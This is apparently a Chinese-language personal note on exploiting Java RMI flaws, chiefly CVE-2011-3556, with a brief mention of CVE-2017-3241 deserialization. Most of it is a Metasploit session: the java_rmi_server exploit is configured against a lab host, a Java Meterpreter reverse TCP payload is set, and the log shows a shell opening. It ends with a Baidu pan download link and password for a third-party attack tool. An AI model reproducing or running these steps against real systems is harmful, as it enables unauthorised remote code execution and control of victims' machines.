Java rmi漏洞利用及原理记录
CVE-2011-3556
该模块利用了RMI的默认配置。注册表和RMI激活服务，允许加载类来自任何远程（HTTP）URL。当它在RMI中调用一个方法时分布式垃圾收集器，可通过每个RMI使用endpoint，它可以用于rmiregist和rmid，以及对大多
漏洞利用：
漏洞常用端口1099
msf5 > use exploit/multi/misc/java_rmi_server msf5 exploit(multi/misc/java_rmi_server) > show options Module options (exploit/multi/misc/java_rmi_server): Name Current Setting Required Description ---- --------------- -------- ----------- HTTPDELAY 10 yes Time that the HTTP Server will wait for the payload request RHOST yes The target address RPORT 1099 yes The target port (TCP) SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random) Exploit target: Id Name -- ---- 0 Generic (Java Payload) msf5 exploit(multi/misc/java_rmi_server) > set rhost 172.16.20.134 rhost => 172.16.20.134
msf5 exploit(multi/misc/java_rmi_server) > show payloads Compatible Payloads =================== # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 generic/custom normal No Custom Payload 1 generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline 2 generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline 3 java/jsp_shell_bind_tcp normal No Java JSP Command Shell, Bind TCP Inline 4 java/jsp_shell_reverse_tcp normal No Java JSP Command Shell, Reverse TCP Inline 5 java/meterpreter/bind_tcp normal No Java Meterpreter, Java Bind TCP Stager 6 java/meterpreter/reverse_http normal No Java Meterpreter, Java Reverse HTTP Stager 7 java/meterpreter/reverse_https normal No Java Meterpreter, Java Reverse HTTPS Stager 8 java/meterpreter/reverse_tcp normal No Java Meterpreter, Java Reverse TCP Stager 9 java/shell/bind_tcp normal No Command Shell, Java Bind TCP Stager 10 java/shell/reverse_tcp normal No Command Shell, Java Reverse TCP Stager 11 java/shell_reverse_tcp normal No Java Command Shell, Reverse TCP Inline 12 multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Mulitple Architectures) 13 multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Mulitple Architectures) msf5 exploit(multi/misc/java_rmi_server) > set payload java/meterpreter/reverse_tcp
msf5 exploit(multi/misc/java_rmi_server) > show options Module options (exploit/multi/misc/java_rmi_server): Name Current Setting Required Description ---- --------------- -------- ----------- HTTPDELAY 10 yes Time that the HTTP Server will wait for the payload request RHOSTS 172.16.20.207 yes The target address range or CIDR identifier RPORT 1099 yes The target port (TCP) SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random) Payload options (java/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 172.16.20.134 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Generic (Java Payload)
msf5 exploit(multi/misc/java_rmi_server) > set lhost 172.16.20.134 lhost => 172.16.20.134 msf5 exploit(multi/misc/java_rmi_server) > run [*] Started reverse TCP handler on 172.16.20.134:4444 [*] 172.16.20.207:1099 - Using URL: http://0.0.0.0:8080/dPdVbFGof9 [*] 172.16.20.207:1099 - Local IP: http://172.16.20.134:8080/dPdVbFGof9 [*] 172.16.20.207:1099 - Server started. [*] 172.16.20.207:1099 - Sending RMI Header... [*] 172.16.20.207:1099 - Sending RMI Call... [*] 172.16.20.207:1099 - Replied to request for payload JAR [*] Sending stage (53844 bytes) to 172.16.20.207 [*] Meterpreter session 1 opened (172.16.20.134:4444 -> 172.16.20.207:52793) at 2019-08-15 18:33:28 +0800 [*] 172.16.20.207:1099 - Server stopped.
反弹shell，利用成功
CVE-2017-3241
漏洞利用机制：1.存在反序列化传输。2.存在有缺陷的第三方库如commons-collections ，或者知道公开的类名
小天之天的测试工具：https://pan.baidu.com/s/1pb-br4vhKT6JlT6MmjHqGg 密码：jkl8
